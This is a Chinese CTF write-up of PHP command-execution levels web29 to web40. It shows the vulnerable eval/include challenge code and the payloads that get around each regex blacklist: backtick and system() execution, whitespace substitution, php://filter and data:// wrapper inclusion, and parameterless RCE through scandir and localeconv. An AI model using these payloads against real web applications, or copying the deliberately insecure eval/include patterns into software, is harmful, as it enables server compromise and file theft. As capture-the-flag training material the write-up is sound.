web29
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了flag
get方式传参:
?c=system(ls);
发现flag.php,直接:?c=system('cat f*');
但是这里会返回一个空页面,因为PHP是服务器端解释的语言,在浏览网页的时候服务器会对php文件进行解释并执行,最终生成相应的HTML代码并返回给浏览器,所以网页是显示不出PHP代码。没关系,我们查看源代码就行。
也可以:
?c=system("cp fla?.php 1.txt");
然后再去访问1.txt就行
提示是:
echo `nl fl''ag.php`;
web30
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤掉了flag,system,php
?c=echo `cat fla\g.p\hp`;
web31
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
重点是过滤了点、单引号、空格
空格我们使用%09代替,
?c=echo%09`tac%09f*`;
web32
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这次又过滤了分号,反引号,echo,和左括号
要用到php伪协议了,
因为只对c进行匹配,那么我们可以逃逸get[]里面的东西,因为不能有;所以用?>代替。
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
将结果拿去base64解码即可
web33-35
?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
web36
这次把数字过滤了
payload依旧可以用:
?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
web37
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
include (或 require)语句会获取指定文件中存在的所有文本/代码/标记,并复制到使用 include 语句的文件中。
要使用php伪协议中的data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行
payload1:
?c=data: text/plain,<?php system("cat f*")?>
payload2:
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
//后面为base64编码<?php system('cat flag.php');?>
查看页面源代码可以看到flag
web38
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
过滤了php,file,37的payload2还可以用
payload:
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
web39
hint:
data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用
?c=data: text/plain,<?php system("cat f*")?>
web40
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤的是中文的括号不是英文的、过滤了单双引号、过滤了数字;因为大致看看,能用的是英文的括号和字母还有下划线。而命令执行大多数需要单双引号来传参数,所以就想到了无参RCE
函数:print_r(scandir(’.’))可以用来查看当前目录所有文件名,由于小数点被过滤了,
接下来需要将括号中的.替代掉
localeconv()函数返回一包含本地数字及货币格式信息的数组
可利用localeconv()函数返回数组中的第一个小数点代替读取目录函数print_r(scandir(’.’))中的参数.
current(localeconv())就相当于.
?c=print_r(scandir(pos(localeconv())));
可以得到flag.php位于数组的第三个值里,也就是倒数第二个,我们可以通过array_reverse()函数以相反的元素顺序返回数组,在用next()函数读取下一个元素,最后通过highlight_file()函数读取到flag.php
payload1:
?c=highlight_file(next(array_reverse(scandir(current(localeconv())))));
总结:
localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
current() :返回数组中的当前元素的值;默认取第一个值
pos():current() 的别名
reset() 将 array 的内部指针倒回到第一个单元并返回第一个数组单元的值。
array_reverse():数组逆序
(如果不是数组的最后一个或者倒数第二个呢?我们可以使用array_rand(array_flip()),array_flip()是交换数组的键和值,array_rand()是随机返回一个数组)
scandir():列出指定路径中的文件和目录
next():函数将内部指针向前移动一位即指向数组中的下一个元素,并输出这个元素。
highlight_file() 函数对文件进行 PHP 语法高亮显示。
语法通过使用 HTML 标签进行高亮。
注释:当使用该函数时,整个文件都将被显示,包括密码和其他敏感信息!